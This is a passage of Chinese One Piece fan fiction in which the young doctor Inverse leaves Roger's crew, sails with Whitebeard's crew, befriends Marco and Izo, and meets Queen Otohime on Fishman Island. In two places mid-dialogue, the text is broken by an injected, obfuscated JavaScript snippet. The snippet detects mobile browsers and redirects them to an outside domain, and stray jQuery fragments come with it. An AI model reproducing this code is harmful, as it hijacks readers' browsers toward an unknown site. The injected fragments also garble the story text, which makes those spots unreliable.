奥罗杰克逊号不会停下,它要载着船长去世界的尽头。 所以他第一次觉得自己也许与它前行的方向不同,他需要停下,需要时间,永远都在试错,永远需要寻找,寻找,寻找。 茵弗抱着图鉴跑上甲板,脚步声在空旷的走廊里回响。 “雷利先——” 等等。 甲板上那个大汉是御田阁下吧?怎么还有一位带着孩子的女士,罗杰笑得傻傻的,举着一个咯咯笑的小婴儿。 那个是直立行走的大猫和大狗? 他关上门,又打开。 他就离开了一会儿吧?发生了什么啊! “噢!小黑!来的正好!” 茵弗有点懵地走过去,把手里的图鉴换成小宝宝,有些生疏地抱好,他在孤儿院的时候抱过小婴儿,不过时间太久了。 “以后御田一家要跟杰克逊号航行一段时间,这是他们的女儿日和。” 好的。您好日和阁下。 小婴儿吐了个泡泡。 茵弗下意识摸摸她软乎乎的小脸,是个健康的宝宝。 不过白胡子船长就这么同意了?也许是交换的礼物...船员也可以交换? 等等,船上谁被换走了? 罗杰:“你要不要跟着白胡子他们走?” 噢原来是我...是我?? 哦不,米森、希鲁鲁克、现在又轮到罗杰? “...您不要我了?” 他震惊地抬头,话刚出口就看到罗杰被雷利打了一拳,接过日和递给御田,示意他跟他走。 “不是的 ,孩子。” 他们走到角落里,不知道什么时候把他的图鉴换了回来交给他。茵弗没注意,他脑袋里嗡嗡的,拿过图鉴的手都在抖。 雷利叹了口气,蹲下来把吓坏了的小家伙抱起来,他长高了不少,孩子们都长高了不少,他十四岁了。 “呼吸,好孩子。跟着我呼吸。” 一些哄小孩子的手段总是能让茵弗好的快一点,雷利不确定这是什么原因,不过他总觉得无论对方长多大都会是如此。 果然,过了一会儿他就冷静下来,脸埋在雷利的肩上哼唧了一声。 “听我说,茵弗。罗杰那个笨蛋话没说完,他的意思是你要不要跟着白胡子他们去鱼人岛,找乙姬。” “...为什么我不能跟着大家一起去?我们总会再路过鱼人岛的不是吗?” “那倒是,御田上船就是为了帮助我们解读历史正文,所以我们要再次从前半段走一圈。” 但是那也是把剩余的新世界走完之后了,而白胡子他们没有什么一定要做的事情,也随时都可以去鱼人岛。 加上纽盖特和鱼人岛现在的国王尼普顿是好友,比起罗杰海贼团更容易让他见到乙姬王妃。 “如果乙姬王妃真的可以帮你掌握能力,那你也需要在那里呆一段时间不是吗?等我们走过前半段,再次路过鱼人岛的时候就去接你。” 如果不能,他就一直跟着白胡子航行到在前半段碰头,或者在鱼人岛等他们都可以。 换一个环境也会对他的能力开发有好处,不管是不同地域的知识上还是练习能力的机会上都会比在杰克逊号上多得多。 这个理由让他感觉好些了,只要他不是被赶走,毕竟自己确实有想到见一见那位乙姬王妃。 雷利说的也没错,要学习能力的话,怎么也要几个月,他不能要求船上的大家暂停冒险陪他呆在鱼人岛。 “白胡子答应把你送过去,然后带你去皇宫,剩下的事情要看你自己了。不过如果你真的想跟我们呆在一起,那拒绝也没关系。” 又来了,他们永远给他选择。 闷了一会儿,他小声说了一句:“我害怕。” 不太在乎自己是不是听起来像个三岁小孩。 “害怕什么?茵弗。” 害怕离开,害怕他们忘记,害怕时间,害怕命运。害怕的事情太多,他自己也不知道了。 不过在白胡子提到与他能力相似的人那一刻,他可能就早已经做好选择,也许他也害怕这件事实。 上次的行李是希鲁鲁克给他整理的,这次是巴基和香克斯。 有人愿意帮自己收行李是一件很幸运的事情,也很幸福,即使只是因为面对离别,他们总得找点事情做,找点理由呆在一起。 药箱,一点藏品,恶魔果实图鉴,几本没看完的医书,没写完的航海日志。 零花钱分一半给巴基和香克斯,不管是在白胡子那里还是鱼人岛,他会自己想办法赚钱。 “毯子带吗,茵弗?” 香克斯把茵弗从磁鼓岛带来的毛毯卷起来,有些疑惑地询问。 “不了,你和巴基天冷留着用,我应该会住在鱼人岛,那里不冷,也比船上更潮湿。” “你做的零食呢?” “一点点吧,你们把喜欢的留下来吃。” 门外能听到御田一家在船员的带领下参观杰克逊号的脚步交谈声。门内的氛围却有些低沉,巴基在帮他选了几件衣服递过来的时候没有看他。 他叹了口气,将巴基拉到自己怀里。 香克斯也无言凑了过来,钻到他的胳膊底下。 “大概用不了一年,杰克逊号一直都开得很快不是吗?” ... “别长得太高了你们俩,下次拥抱的时候我搂不住你们怎么办。” ... “我不在的时候别吵架,不,别吵太过分就行。” ... ... “好啦,你们不是海贼嘛,说好的可以笑着道别呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798371|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” ... ... ... “...记得、记得来接我,拜托。” “当然了。” “这还用你说?” - 他自己其实没装那么多行李,不过罗杰海贼团的船员们有一个算一个都给他塞了不少东西,除了吃的用的玩的还有武器。 茵弗摸着那把皮塔姆送他的枪,琢磨着也许学学枪击也不错。 再次和库洛卡斯交流了一下这段时间二人可以注意的事项,留下一些笔记,他走下踏板,有些意外等着他的是马尔科。 “久等了,不死鸟先生。” “没事yoi,都收拾好了?” 莫比迪克号很大,比杰克逊号还大,人也很多。大部分人没跟他说话,只是用好奇和疑惑的眼神远远看着。 他跟白胡子打了招呼,分到一间临时改的空房间,空间不大,不用和别人住在一起。 一侧的墙上拴着吊床,旁边有简单的桌椅,角落里大概是匆忙堆起来的几个木箱。 有一个敞开的小舷窗,海风吹进来,卷走漂浮的灰尘。 房间很好,可是打开背包看到那些礼物的那一刻还是有点寂寞,所以茵弗放下行李,跑到甲板上远眺,没在意身边往来的陌生人们惊讶的眼神。 他戴着红珊瑚项链,握着红宝石耳饰,看着杰克逊号越来越远的红帆,突然觉得他的新房间需要一个红色的壁橱。 “还好吗,小阁下?” 茵弗回头,发现是以藏一脸理解地站在那里。 “还好...我以为您会跟御田阁下一起。” “不,我喜欢这里,我会留在莫比迪克号上。御田大人有他的冒险,我也有我的。我们会再见的。” 以藏走了过来,有些小心地将手放在茵弗的肩上:“他们也会等着你的。” 茵弗攥紧了手,十字耳饰的棱角陷入手心,带来一阵刺痛。 “...我想他们。” “我也是。” - 巴基想念茵弗,想念杰里,随便他叫什么。 巴基大爷不会开口承认的事情有很多,但是有些时候事实就是事实。 他一直都知道罗杰船长他们更喜欢香克斯一点。船长送给他自己的草帽,送给他巧克力。香克斯也从来不羞与表达爱,不吝啬自己的撒娇。 香克斯阳光,开朗,有着不可估量的潜力与天赋。 而他只是巴基。 贪财,要面子,讲话刻薄的巴基。 但是茵弗说,''我就是喜欢巴基先生很失礼的这一点。'' 他喜欢香克斯,但是并不比喜欢自己更喜欢香克斯。 他耍自己玩,也耍香克斯,然后在天冷的时候跟他们分享自己那个暖的过分的毯子。 分享。 香克斯喜欢龙虾,所以每次茵弗都会把自己盘子里或大或小的龙虾肉一点点挑出来放成一堆,然后一大勺全塞到香克斯嘴里。 巴基不喜欢番茄,它长得太像自己的鼻子,所以厨房柜子里多了一瓶蓝色的番茄酱。 船上没人吃,毕竟蓝色的意大利面看起来真的没什么食欲。 不过在他问为什么有那么多的时候,芋头前辈指着那瓶带着点植物味道的酱汁,说因为茵弗做了四次,一定要把颜色弄得''跟巴基的头发一样漂亮''。 他不喜欢自己的鼻子,茵弗喜欢。 他不喜欢巴基,茵弗喜欢。 巴基并不厉害,但是茵弗却拉着他的手,细细地跟他讲自己有多么优秀,他有多么羡慕他。 喜欢宝藏就把多的零花钱交给他;喜欢炸弹就给他做炸弹;替他受罚;受伤了,辛苦了,好像只要巴基在身边就很安心,满脸血地搂着他睡;他珍藏巴基送的昂贵礼物,即使他缺钱。 巴基不傻,他知道如果茵弗不喜欢巴基,那么自己叫他一百遍哥哥也没用。 哥哥。 他们不是真的兄弟,他觉得茵弗也知道他们不是真的把他当传统意义上的哥哥。 香克斯说,茵弗只是很喜欢能和他们亲近。 就好像能和巴基亲近是什么了不得的特权。 ''我会像米森爱我那样爱你们。'' 你们。 香克斯喜欢茵弗,船上的大家都喜欢茵弗。但是香克斯很有自信地觉得没人比他更喜欢茵弗。 香克斯总是很有自信。 他们差不多高,但是巴基已经在他的身影中退了很多步。 只这一次,他觉得至少这一点上,他不会输给香克斯。 所以就算他不承认,也不会满篇航海日志都写茵弗,他也有自信,自己不比香克斯少想茵弗一分毫。 茵弗不在,他们不会牵手,不会拥抱。也会吵架,但是吵得不会很凶,中间少了一个人没什么意思。 有时候吵完架他们会一起靠在墙上,沉默地吃茵弗留下来的零食,或者翻看那些被他叫做小垃圾的宝贝。 偶尔他会睡在茵弗的位置上,盖他的毯子。 明明已经分开很久了,他吊床上的那股药味还是消散不去。 如果他半夜爬上去发现了已经在里面躺着的香克斯,或者第二天醒来的时候发现香克斯也挤进来了,他也难得的不会介意。 下一次见面、他一定会收到那家伙的礼物的,一些漂亮的小垃圾。 自己是不是应该回礼呢,宝石?珠宝?淡金色的葡萄汁? 对了,他最近对恶魔果实很感兴趣来着? 26.莫比迪克的客人 莫比迪克的新客人在船上呆的时间不长,但是也说短不短。 马尔科自诩要为老爹分忧解难,自然是多多关注这小子。 上船第一天他跑到船舷边看了一天的海,后来和以藏聊天,两个人很投机的样子。 第二天他跑去看老爹,围着老爹转了几圈之后很直接地就问老爹的名字谁起的,家里人对他当海贼什么看法。 老爹没感到冒犯,一大一小居然还真的聊起来了,还故意把自己的故乡描述的很糟想吓唬他。 好吧离事实也没差那么远,结果那小子只是说什么原来不用喝牛奶也可以长这么高,老爹咕啦啦啦的大笑。 第三天他在船上乱转了几圈,后来找以藏拜托带他参观,说是没见过莫比这么大的船。然后摸着桅杆对着莫比说话,几个船员看到之后也开始摸这摸那地对莫比说话。 第四天早上看见他绕着莫比做一些基础的锻炼,然后练到一半跑去和比斯塔浇花,早饭的时候把吐司泡在燕麦粥里。 老爹答应了他是客人,就不用干活,可是他还是会帮着打杂,清理,去医务室转几圈。 总之马尔科不认为自己十四五岁的时候也有这么奇怪。 茵弗玛利送自己的药膳食谱他看了,努力地辨认那笔烂字之后重新抄了一份给厨子,厨子做了一份,吃起来确实味道奇怪,也没有什么神奇的感受。 他跟乔兹说了,乔兹大嘴巴立马告诉以藏,以藏当然就告诉了上船起就跟他很亲切的茵弗玛利。 然后罗杰船上的小医生跑过来问他船上的船医是谁,主厨是谁,两人交流了一番之后他直接自己借用厨房开始一边按照厨子说的老爹和大伙的口味改,一边介绍某种某种食材和某种某种草药搭配有什么用。 厨子很认真地在学,隔天就开始逢人大加赞叹。 马尔科接过对方递过来试味的碟子尝了一口,点了点头。 有一次靠岸补给的时候,茵弗玛利跟着一起去岛上捕猎,马尔科眼见着一只毒蛇刚钻到树洞里,这家伙就把手伸进去了。 面对他的惊吓,茵弗玛利面色痛苦地呻吟了一声,然后在马尔科着急地要把他的胳膊拉出来的时候笑眯眯地把那只毒蛇抓出来,手上覆盖着武装色霸气,那只带着花斑的蛇怎么挣扎都咬不穿。 “逗您玩的。” ...罗杰船上就没一个正经的家伙! 那只蛇最后泡到了一个酒坛里,连着一堆奇怪的果子和草药。 他询问的时候对方正在上面贴标签和封皮,“这不是用来喝的,当然,喝也行,不过别多喝。” 他指指自己的手腕,“至少两周之后再开封,您们船上有些人的体质受海上潮湿影响淤青会好的很慢,听起来像蚊子叫,用这个揉一揉基本隔天就好了。” 马尔科接过对方递过来的一把贝利,说是借用这坛酒的钱。 他想着,真是古怪的小医生。 除了这些以外,茵弗玛利打架也不弱,这一点他当然知道,毕竟两人打了三天。 不过他有佩刀,虽然只是很普通的刀,但是比斯塔提出用剑切磋的时候才发现他剑术也不差。 虽然出招都很很基础,但是很扎实。 马尔科差点都忘了他俩打的时候对方一开始是用刀的了。 当然一个初学者还是很快就输给了专门练剑的比斯塔,但是冥王雷利教了近一年的剑术,即使只是初学,也不会弱到哪去。 那小子居然对自己中等偏上的水平比他们还惊奇,在众人的哄笑里不好意思地笑嘻嘻挠脸,有点好玩。 有时候以藏练枪的时候也能看到茵弗玛利举着一把漂亮的长管手枪生疏地跟着学,有时候布拉曼克在做些修补的时候也能看到他凑在旁边,对着布拉曼克从下巴上的口袋里掏出来的东西惊奇,不大的个子费劲地试着拎起巨锤的样子弄得布拉曼克尖尖地笑。 对,他还是很感兴趣恶魔果实,除了问一些问题外,他会偶尔给怀迪贝做一份下午茶,然后凑在莫比迪克的大姐头身边一边晒太阳一边拿着一本图鉴翻。 布拉曼克和金古多也多了个对匠活感兴趣的小弟弟,经常看他们三个聚在甲板上,铺着一堆零件摆弄什么。 小不死鸟和小医生真正开始交流的契机很奇怪。 那天晚上马尔科走进饭厅,发现不少人手边都有一份豆子和肉干做的零嘴,有些人吃完饭了也难得没走,就着小吃喝酒,和身边的兄弟聊天。 “又是茵弗玛利弄的yoi?” 马尔科刚端着餐盘走到招呼他的比斯塔身边坐下,对方就推过来了一碟脆片一样的东西。 “是啊,下酒很好呢,不那么咸但是据说很好消化。” 马尔科尝了尝那小碟脆片,发现是裹着什么酱汁的烤椰子和一些煎饼脆类的东西,挺好吃的。 以藏笑了笑,用手支着脸颊,他面前的也不是豆子,更像梅干和银鱼一样的东西。 “小医生听说你不喜欢豆子特意给你换的。” 说完又指指清酒杯旁的碟子,“喏,我习惯清酒,所以也换了。”又指指比斯塔的:“喝红酒的是奶酪和饼干。” 虽然自从那次交换礼物他就感觉出来茵弗玛利是那种会在这种方面很认真的人了。 不过不愧是医生吗?真的和海贼不大一样。居然让这群习惯了大大咧咧的漂浮人生的家伙感觉不错。 马尔科叹口气,又往嘴里送了一个脆片,环顾四周没看到人。 “他吃完了yoi?” 以藏:“啊,又去藏书室了吧。” 拉克约笑得嘎嘎的,脸上被酒精熏的通红:“武装色那么凶的小家伙是个书呆子,还会给海贼做零食,说出去谁信啊哈哈哈。” 以藏怼怼自己粗鲁的兄弟:“人家那叫聪明,跟你这种水里泡的大老粗可不一样。” 马尔科哼笑一声,往嘴里卷炒面,“你就护着他吧,船上都知道那家伙可优待你和怀迪贝大姐大了yoi。” 以藏:“嫉妒了?明明你俩最先打架结果是和我最亲?” 马尔科菠萝叶子都炸了:“别瞎说yoi!” 待众人闹够,以藏也收敛笑容,酌了一口清酒,犹豫一会开口道: “他...曾经有个姐姐,他说他小时候的梦想就是和姐姐去看樱花,所以很喜欢听我讲一些和之国的故事。” 啊、''曾经''。 马尔科自然是知道以藏在和之国还有个弟弟,也许他们都在彼此身上找到些安慰吧。 以藏目光遥远,想着在船舷边跟茵弗玛利搭话时对方回头一瞬间挂上的笑容。 自从来到莫比迪克号上,小医生一天有大部分时间都是在笑,以藏很熟悉那种表情。 他和小菊在街头卖艺的时候,也练会了要怎么笑。 “他总是找理由跟怀迪贝大姐呆着也是因为这个吧。” 乔兹打破沉默,又吃了几个豆子。 以藏点点头。 大姐头其实没有吃下午茶的习惯,比起那些精致的点心,她一般都是在练剑,研究海图,教训那些偷懒的小子。 不过他们的怀迪贝大姐一直都很温柔。 走出饭厅,马尔科还在想这件事,他没有回房间,而是鬼使神差地拐向藏书室。 其实那里很少有人去,但是老爹有收藏书和海图的习惯,慢慢地也就占据了莫比迪克上的一大块空间。 他轻手轻脚地推开门,意外的发现怀迪贝也在。 大姐大身体放松地靠在沙发上,膝上摊着一本书,轻声地读着。 而小医生靠在她身上睡着了,怀里的纸张因为蜷缩的姿势而被压得歪斜,手里还握着一支笔。 见他探头进来,怀迪贝招了招手。 “饭厅还有饭吗,马尔科?我饿死了。”怀迪贝压低声音,在马尔科回答说可以给她送一份过来的时候嘶了一声,“不行!油腻的食物少带进藏书室!” 她偏头看了一眼茵弗玛利,叹了口气。 “我不想吵醒他,你能陪这孩子一会儿吗?他睡得不太安慰。” 马尔科有点震惊地指指自己,在怀迪贝竖起眉毛时赶紧点头。 她示意他坐过来,然后轻轻地把茵弗玛利的头枕在他的腿上。见小医生还在睡,她悄悄松了口气,然后脚步快速地离开了。 确实很晚了,马尔科看了眼墙上的时钟,他没想到怀迪贝大姐还没吃饭。 可能是正在忙,然后和吃完饭过来的茵弗玛利撞上了吧。 腿上的小家伙哼了一声,眉头皱着,把身体蜷地更紧了。 他看起来...终于像个十四岁人了。 马尔科回过神,不知道对方梦到了什么,可是他知道噩梦的感觉并不好受。 他捡起怀迪贝刚刚留下的书,意外地发现是一本医书,上面有关内脏修复的几味草药搭配有点眼熟,他好像看过很难看的字体写过,他抄过。 他学着怀迪贝刚刚的样子念了下去。 - 等马尔科听到一声喀嚓声睁开眼,就看到以藏一脸奸笑地举着照相电话虫,在他揉眼睛的时候又拍了一张。 在他发作之前,以藏竖起一根漂亮的手指到唇边,示意他安静。 噢对,小医生在自己腿上呢。 管他的,他脖子酸,腿也麻,这就是在沙发上坐着睡一晚上的下场。 他在以藏不认同的神情里没好气地低头晃晃茵弗玛利的肩膀,对方却突然弹了起来,哐的一声撞在他的额头上。 “嘶———!” 马尔科揉着额头,在以藏的大笑里又听到了几次喀嚓喀嚓的声音。 茵弗玛利一脸刚睡醒的迷茫,双手捂在额头上,好像在仔细看他是谁。 “怎么样,小医生,我们不死鸟牌枕头枕着还不错吧?” 以藏对着茵弗玛利也喀嚓了一张。 “枕头...?” 茵弗玛利终于反应过来了,露出来不好意思的笑容,“抱歉,马尔科先生,下次再出现这样的情况,您可以叫醒我的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802533|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马尔科挥挥手,扭了两下自己僵硬的肩膀。 茵弗玛利看他很不舒服的样子,拳头捶上手掌,“哦!坐了一晚上很不舒服吧!来!您跟我做!” 说完就跳下沙发绕到书架前的空地上,头发还到处乱翘着打了一套慢悠悠的空气拳一样的东西。 以藏肩膀都在抖,颤巍巍地举起拍照电话虫,“去啊马尔科,跟着小医生一起拉伸一下。” 找过来的比斯塔还没进门就听见不死鸟的大喊声:“我们果然还是再打一架吧yoi!!!” “这很好用的!您相信我!” 那天之后他们真的又打了一架,两架,三架。 反正茵弗玛丽这段时间的训练被他、比斯塔、和以藏全包了。 在船上有一个可以用高级武装色的对手说实话对马尔科来说感觉不坏,所以他也不会一味地利用空中优势压着对方,也会主动迎上去直击来锻炼自己。 和他打茵弗玛利会用拳头,和比斯塔会用刀, 他俩打起来的画面挺有趣的,一边是茵弗玛利的基础剑式,一边是比斯塔洋洋洒洒的花瓣。 马尔科可看出来了,每次切磋结束后比斯塔都很享受对方对他华丽招式的夸奖。 和以藏就不是切磋了,茵弗玛利跟着他练枪,以藏会指点他几句,一般结束后还会顺便教一些枪支的护理。 白胡子有时候也坐在他专门的椅子上看他们打架,不管哪一方挨揍都会畅快地咕啦啦大笑。 离鱼人岛越来越近,白胡子海贼团的大伙也习惯了茵弗玛利在船上转来转去,偶尔掏出来一些奇怪的东西治一些他们身上的伤或者旧疾,琢磨一些味道奇怪或者新奇的小吃给大伙加餐。 马尔科也习惯了在对方聚精会神举枪瞄准的时候突然凑过去横扫一脚,也不管自己是在跟一个比自己小六岁的家伙有点幼稚的打闹。 怀迪贝大姐在发现他有一次在偷看医书的时候笑笑,戳着他的脑袋说让他对小医生好点,人家可是帮了我们不少忙。 所以在一次暴风雨后的晚上当他找到光着脚在甲板上缩着睡着的茵弗,他只是把他带回自己的房间,自己坐在椅子上像上次在藏书室一样给这个睡得不安稳的家伙念书。 所以当在那之后半夜茵弗抱着枕头敲开他的门,他没多问就放对方进来,从柜子里翻出来一套被褥铺在地上。 所以当以藏神秘兮兮地给大家展示穿着和服,化了妆的小医生那天,看着两人一个僵硬一个流利地跳花柳流,马尔科不再觉得他是个古怪的家伙,只是和乔兹一起大笑,没有多想地就拍了张照。 小客人在莫比的时间不短,但是也不够长。 等到莫比迪克镀完膜潜入水下,他一边吃着茵弗递来的菠萝和桃干,一边解释船上有兄弟会镀膜,所以不需要在香波地停靠,他才意识到这位小医生要下船了。 是了,茵弗玛利本来就不是白胡子海贼团的人,他是罗杰船上的小医生。 他白天在船上自然地和他们相处,晚上躲到藏书室里皱着眉头看一摞摞的书;他在空荡的房间里睡不安稳所以宁愿睡在甲板上;他不喜欢早起但是还是从马尔科地板上铺的褥子里钻出来,跌跌撞撞地去和比斯塔浇花;他用点心和茶去换在怀迪贝身边坐一会儿的机会;用干活和零食换取在这艘船上的位置; 他叫白胡子老爹''纽盖特先生''。 以藏说,他一直在笑。 他们这算什么,冤家?朋友?''敌对海贼团''? 小不死鸟居然觉得...有点失望。 所以,他心不在焉地嚼着那些零食,倒数还有几十分钟到达鱼人岛。 他们没有告别,只有以藏像个真的哥哥一样一遍遍询问茵弗行李都带齐没有,拉克约坐在旁边不知道说什么,和自己的流星锤大眼瞪小眼。 马尔科端详着茵弗脸上那弧度就没变过的笑,有些抗拒这将是留在他脑海里最后的印象。 也许是他的希望过于强烈,他们在到鱼人岛的时候正好遇上了一伙正在劫持人鱼的海贼。不怎么强的一伙新人,都不需要老爹出手。 在满脑子胡思乱想的战斗中,马尔科耳边擦过一颗子弹,正好命中他身后屋顶上正要偷袭他的海贼。 半兽化的不死鸟分神向子弹的来处看去,正好看到茵弗站在老爹的手上向龙宫城方向而去。 浅金色的发丝被高处的风带起,他看着马尔科,目光又扫过下方的大伙,将手里那把漂亮的过分的手枪长管在额头上抵了一下,露出微笑。 在武器的碰撞,敌人的喊叫,和以藏他们爆发的笑声中,马尔科听见茵弗玛利带着真正的笑意大声说: “向您致意!” “致意!” “向小医生致意!” “再见啦茵弗!” “再见!” “下次再来玩啊!” 也许没有那么糟,也许他们可以算是朋友。 所以,所以,他也加入了兄弟们的笑声与呼喊,努力扇动绕着青黄色火焰的翅膀。 27.乙姬 “我的孩子们很喜欢你。” 坐在去龙宫城的巨龟上,白胡子如此对坐在自己腿上的小孩说。 茵弗发出一声鼻音姑且算是回答,出神地看着他们来的方向。 在莫比迪克的这段时间他当然已经知道了为什么他们叫白胡子''老爹'',他一开始想的没错,这是一位灵魂很磅礴的人。 “难道您不喜欢我吗?真可惜。”他开着玩笑,试图甩掉语气里不适的黏厚。 白胡子咕啦啦啦啦地笑着喝了一口酒,伸出一只巨大的指头点了点他的头。 “放松点,小子,莫比迪克永远欢迎你,谢谢你这段时间照顾那群小子们。” 白胡子感谢的不只是他照看他们的健康,还有让那个与亲人分别的人能再一次和一个弟弟跳舞;让那个为了船上事务而终日忙碌的女孩能有短暂的放松;让那位优雅的剑客终于有人能聊花艺;让那只小不死鸟肆意享受他的年龄。 不管对方是有意还是无意,他这个做父亲的都可以道一声谢。 不过他只是说:“老子还是第一次知道酒和零食也能当药的。” “它们就是吃的而已,我喜欢吃。” “老子让你放松一点你就放松一点。” 茵弗笑笑,海贼真是一群霸道的家伙。 这还是他第一次正式来到鱼人岛,上一次经过没有停靠,他只是远远看了一眼。 是个很美的地方,鲜艳的色彩不仅构成了交错的房屋,也构成了这里的的居民。 在空中,这些五彩斑斓在他眼中涌动,套着泡泡翱翔天空的鱼载着客人,见到国王的座驾亲切地冲高大的王招手。 茵弗没去听白胡子和尼普顿的交谈。 白胡子海贼团很好,但是如果乙姬王妃不能帮助他,他也不会跟着莫比迪克到前半段去和杰克逊号汇合。 这只是...他的霸道。 他得在约定的地点等待,才好躲开那些恐惧。 而他想白胡子也知道。 因为只有他知道茵弗还有继续跟莫比迪克航行的选择。但是他没有提,只是任由他们道别。 茵弗觉得该感谢的人应该是自己,这段时间他得到了很多。 所以在进入通往龙宫城的水道之前,他握了一下白胡子放在膝盖边的手,真挚地回答了对方一开始的话: “您是一位很好的父亲,纽盖特先生。” - 和乙姬的会面意外的简单,白胡子在尼普顿前来问候的时候就向老朋友说明了来意,而鱼人岛的国王在感谢他帮忙处理了港口的闹事后自然欣然同意。 茵弗除了礼仪性问候没有多话,只是斟酌着该怎么和王妃解释自己的情况和诉求。 结果那位美丽的金鱼人鱼刚刚听完他的自我介绍,就有些激动地上前拉住他的手。 “孩子,你能听到,对吧?” 接下来的一切发生得都很快。 乙姬答应帮助他掌握自己的能力,并邀请他在皇宫住下,不过在他的坚持下同意了他在鱼人岛工作的提议。 告别白胡子,他有些新奇地看国王挨大臣骂,在被领到一个大的过分的房间换了一身更适合鱼人岛环境的衣服之后,茵弗又坐上了那只在龙宫城和主岛之间往返的大海龟。 他回过神的时候手里正拿着一份章鱼烧,一旁的乙姬亲切地给他介绍鱼人岛。 唔...感觉自己像是在什么 vip旅游团... “啊,前面那家服装店也很适合人类工作呢,鱼人岛有很多很不错风格的衣服哦,不过你确定不在龙宫城里工作吗?我们也可以给你工资的,茵弗玛利。” “您叫我茵弗就好。”茵弗摇摇头,戴着的项链随他的动作摇摆。“其实在主岛工作也有我的一点私心,上一次跟船来这里的时候没有好好在这里转一转,我一直觉得有点可惜。” 他环顾四周,有些疑惑地询问:“鱼人岛没有医院吗?” 乙姬看起来有点难过,发饰挽起的金发都垂了下来,“有一所...也对,你会想在医院工作吧?不过是鱼人和人鱼的医院,居民们可能...不会信任一个人类医生。” 茵弗歪头:“为什么?” 乙姬倒是意外了,有些惊喜地拉住他空着的手,因为身高的差距把他的手举得高高的。 “陆地上的孩子们...已经像你一样了吗?” “像我一样?” 乙姬还没来得及回答,旁边的街道就传来一阵喧嚣,看情况应该是一个之前从白胡子的儿子们手底下偷偷溜走的漏网海贼,受了不少伤,在几个居民的谩骂围攻下努力挥舞着砍刀。 不论是那个海贼,还是她愤怒的臣民们口中恶毒的话语都让她难过极了。她身边还有一位人类的孩子呢!却让他听到如此充满歧视与恨意的话。 她连忙冲过去制止居民们,刚要示意身边保护她的护卫去抓捕那个海贼,身边一道虚影掠过,紧接着传来一声轰响。 轻咳两声后,乙姬宽大的袍袖挥开遮挡视线的烟尘,只见那个海贼被狠狠地砸进地里,茵弗玛利踩着他的背,卷起的袖子下露出漆黑的武装色,摁着对方鲜血如注的头。 “嘴、太、脏、了,如果你敢跟桑贝尔先生这么讲话,不用我揍你,你就被穿在三叉戟上了。” 他又拎起来对方的头往下砸了一次,“马尔科先生居然还让人溜了?下次如果见面就等着被我笑话吧。” 他抬起头,脸上还沾着些血迹,好像才注意到周围吃惊的人群一样腼腆地笑笑,接着做出了更让乙姬惊讶的举动。 茵弗摘掉染血的手套,随便摸了两把那个昏迷海贼的脖子,然后咂咂嘴,从随身的挎包里翻出来了几个夹板和一个方形的东西。 他从那个海贼身上跳下来,随便把对方翻过身,在几个最大的伤口上用那个方形的东西戳了几下,乙姬听到了磕哒磕哒的声响。 她慢慢地凑过去,注意到那个方形的东西是一个像订书器一样的东西,不过造型更像是结合了一把手枪。而那个海贼的伤口被订了起来,在因为疼痛而醒过来时又被茵弗扇了一巴掌。 那个订书器一样的枪订了两道伤口就坏了,茵弗晃了几下见确实没反应,又摸摸那个海贼的脖子,大概是觉得也差不多,就耸耸肩,转而用夹板把那个海贼的脖子固定了起来,又在头上的伤口上随便贴了一块纱布之后把他拎起来交给懵懵地走过来的护卫士兵。 “喏,金古多先生帮忙做的缝合枪还是原型,不能要求太高。不过他目前死不掉了,您们该怎么审理怎么审理,不耽误。” 说完他转向乙姬,对着自己沾满血的手犹豫了一下,最后只是打开那个挎包递过来,示意她自己拿。 “绿色的罐子是止血的伤药,袋子里有药棉,您流血了,还有那边的几位鱼人先生。我手脏。” 茵弗见她还是一脸惊讶,还带着他看不懂的神色,突然后知后觉地有点尴尬。 也许这不是什么太好的第一印象。 他自己把改良过的伤药拿出来交给最近的一个护卫,随便交代了几句该怎么用就逃避般地走回他们刚刚站的地方。 那几个之前在和海贼战斗的鱼人见他走过来都连忙闪开,互相之间小声嘀咕着。 他没在意他们,只是把之前掉在地上的章鱼烧捡起来,还好有盒子装着,虽然倒了但是没沾太多灰尘。 他叉起一个吹吹塞到嘴里,端详了一下那几个嘴也很脏的居民。 他大概知道点为什么居民们不会喜欢一个人类医生了。 他点点头,好像对章鱼烧的味道很满意一样。 “先生们,下次可以把那种家伙弄到偏僻点的地方再骂,周围有妈妈和孩子们在呢。” 他随便示意了一下在外围一些停滞住的人群,有不少好奇的小孩探头探脑,毕竟是街上。 茵弗好像想到什么好笑的事情一样又吃了一个章鱼烧,里面沾着的一点沙粒被嚼地咯吱咯吱响。 “我的弟弟们要是听到桑贝尔先生说一些没听过的浑话也肯定会学的,即使他们不懂是什么意思,然后就会被船上的老大罚顶水桶。” 乙姬以为她已经足够震惊了,听到他的话才觉得对方给自己带来的震撼只会多不会少。 在居民们有些羞恼地再次对着茵弗发出恶言的时候,乙姬打破自己的僵硬,连忙过去再次阻止他们。 “够了!事情已经解决了!甚至是这孩子解决的!不要再在孩子们面前传播仇恨了!” 唔...嚼嚼嚼... ''像你一样的孩子''是这个意思? 茵弗对鱼人族的第一印象就是桑贝尔,高大健壮的鱼人先生会咧着一嘴尖牙,抓最肥美的大鱼给他,笑嘻嘻地用带蹼的手掌揉他的头,叫他''小鱼苗''。 不过乙姬可能要失望了,那群海贼可是专门来掠夺人鱼的,而且结合那个被他揍了的海贼的话,他不觉得陆地上的大家全部都像他这样。 